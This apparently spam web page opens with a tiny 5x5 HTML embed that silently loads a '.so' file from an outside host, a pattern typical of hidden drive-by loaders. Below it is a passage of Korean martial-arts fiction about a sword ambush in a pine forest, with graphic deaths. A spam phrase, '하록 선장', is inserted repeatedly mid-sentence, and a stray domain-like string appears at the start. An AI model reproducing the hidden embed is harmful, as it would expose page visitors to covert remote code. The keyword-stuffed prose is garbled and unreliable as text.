<embed width="5" height="5" src="http://move.b4ateam.net/b9bb652bf.so" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"><br>▶하록 선장◀ 곤 희미하게 웃음을 짓고 있었다 ▶ KP92.NL.AE ◀
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▶하록 선장◀ 곤 희미하게 웃음을 짓고 있었다
백검천마는 벌써 한 그루의 노송(老松)을 타고 올라 옆으로 뛰고 있는 중이었다. 굉장한 신법이다. 복잡하게 얽혀있는 나무 가지들 사이를 유령처럼 휘돌아 나간다. 뛰쳐나간 제자가 재빨리 나무 위에 올랐지만, 이미 백검천마의 종적은 묘연하다. 당황하며 내려 오려하는 제자. 하록 선장 그 때다. ‘돌아온다! 안돼!’ 하록 선장 입으로 뱉어 놓지도 못한 청풍의 경호성 뒤로, 죽음의 검날이 짓쳐 들었다. 나무 위에 올라 있는 제자의 팔이 단숨에 날아가고, 내리 치는 검격에 가슴이 쫙 갈라진다. 하록 선장 휘청, 떨어지는 그의 몸. 아래 쪽 가지 위에 걸려 대롱대롱 매달린다. 갈라진 배로부터 꾸역 꾸역 쏟아지는 내장. 하록 선장 공포스럽기 짝이 없는 광경이었다. “또 죽을 놈은 얼마든지 따라오라.” 하록 선장 나무 가지 위, 하늘을 날 것처럼 픽 꺼져버리는 백검천마다. 속수무책. 하록 선장 이 보다 그 말이 어울리는 때가 어디 있을까. 순식간에 세 명의 제자를 잃었다. 하록 선장 “간다!” 매화검수 하운의 입에서 서릿발 같은 한 마디가 떨어졌다. 하록 선장 앞에서 뛰어드는 철기맹 문도들을 돌파하며, 이제 여덟 명 남은 척후조가 달린다. 수렁으로 끌려 들어가고 있는 느낌이다면 어쩔 수가 없다. 이렇게 된 바, 갈 데까지 가는 것이었다. 하록 선장 “잠깐. 이 소리.” 깊이 들어온 송림. 하운이 일행들을 멈추었다. 하록 선장 채챙! 채채챙! 안 쪽에서부터 병장기 소리가 들려온다. 하록 선장 뒤에서 기다리고 있던 무림맹 무인들은 아니다. 시간이 많이 흐른 것 같다만 아직 일다경은 지나지 않았고, 무엇보다 소리가 들려오는 방향은 그들이 달려 온 방향이 아니라, 저 앞이었던 것이다. “다른 무인들은 아니고........교란(攪亂), 교란책인가.” 하록 선장 이 병장기 소리. 어딘지 모르게 부자연스럽다. 싸움에 의해 들리는 소리가 아니라, 자기들끼리 부딪치는 소리였다. 송림 바깥에서 기다리고 있는 무림맹 무인들을 현혹하기 위한 술수임이 틀림없었다. 하록 선장 “머리를 쓰는 군.” 분노가 극에 달했기에 도리어 냉정해진 것 같다. 주변을 둘러보며, 소리가 들려오는 방향들을 가늠한 그가, 모두에게 말했다. 하록 선장 “밖에서는 우리들이 흩어졌을 것이라 볼지도 모른다. 하지만, 상관없다. 우리는 그대로 간다. 끝까지 가서, 지나온 길을 보여주자. 그 길이 죽음을 향한 것일지라도!” 하운의 말. 하록 선장 청풍의 뇌리에 순간적으로 위화감이 스친다. 화산의 정신. 하록 선장 그것이 옳은 것인지. 이렇게 제자들을 잃으면서도 앞으로 나아가는 매화검수의 선택은 과연 현명한 것인지. 의문을 갖지 말아야 하는 것이겠지만, 도무지 용납하기 힘들다. 나직한 어조로 말하고는 있어도 이미 분노에 휩싸여 버린 하운이다. 정말 제대로 된 판단력을 유지하고 있는 것인가 걱정이 앞섰다. 하록 선장 사사삭! 결국은 하운의 뜻대로 나아가는 길이다. 하록 선장 그러나 죽음을 말한 만큼, 그 앞은 위험하다. 다시 히끄무레하게 보이는 백검천마의 신형, 청풍의 경호성 없이도 모두가 두 눈에 그 모습을 확인했다. 쐐애액! 하록 선장 '또.......!' 백검천마. 하록 선장 달려오는 위용이 엄청나다. 여덟 명, 화산 제자쯤이야 별 것이 아니라는 듯 일직선으로 짓쳐 온다. 선두에 선 하운의 검을 흘려내고 깊숙이 들어와 세 개의 검을 한꺼번에 튕겨냈다. 하록 선장 쩌정! 채채채챙! 굉장한 속도, 강력한 내력이다. 하록 선장 몇 수 위라는 비교 자체가 의미 없을 정도, 근접해오는 백검천마가 마침내 청풍의 앞까지 이르렀다. ‘내가 목표인가!’ 하록 선장 본능적으로 금강호보를 밟으며 한 발 옆으로 비껴 섰다. 눈앞에 아른거리는 검광(劍光). 하록 선장 안 된다. 금강호보만으로 피할 수 있는 자가 아니었다. 하록 선장 가자. 당장이라도 가슴을 갈라버릴 것 같은 검광을 향해 도리어 오른발을 내딛었다. 금강호보에 이어 반자 몸을 낮추고, 검집를 튕겨 검신(劍身)을 밀어낸다. 하록 선장 ‘발(發)!’ 꽉 잡은 오른손에 자하진기의 내력이 깃들어, 한 줄기 백색의 빛살이 되니, 그것이야 말로
